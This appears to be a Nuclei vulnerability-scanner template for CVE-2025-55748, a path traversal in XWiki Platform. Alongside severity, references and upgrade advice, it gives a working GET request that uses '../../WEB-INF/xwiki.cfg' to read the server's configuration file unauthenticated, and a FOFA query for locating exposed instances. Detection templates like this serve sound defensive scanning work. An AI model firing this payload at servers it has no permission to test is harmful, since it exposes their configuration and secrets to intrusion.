CVE-2025-55748: XWiki Platform - Path Traversal

id: CVE-2025-55748

info:
  name: XWiki Platform - Path Traversal
  author: Redmomn
  severity: high
  description: |
    XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.
  impact: |
    Remote attackers can read sensitive configuration files, potentially exposing critical system information.
  remediation: |
    Upgrade to version 16.10.7 or later.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-m63c-3rmg-r2cf
    - https://github.com/xwiki/xwiki-platform/commit/9e7b4c03f2143978d891109a17159f73d4cdd318#diff-ee78930a9ac5ea586179fe8ab88a5fd58e369d175927d1e88a0b4dbc3ebcbf1eR62
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55748
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-55748
    epss-score: 0.01771
    epss-percentile: 0.77456
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,lfi,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/bin/ssx/Main/WebHome?resource=../../WEB-INF/xwiki.cfg&minify=false'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022005f53088c120b8aa190ed915968bb1b1061b73255fe0fbd4e4a22fe7039ee97b022015f00283f0a2d60d5b57f29af5a4c512c1072c2846e5a9391bafbc431735474f:922c64590222798bb761d5b6d8e72950

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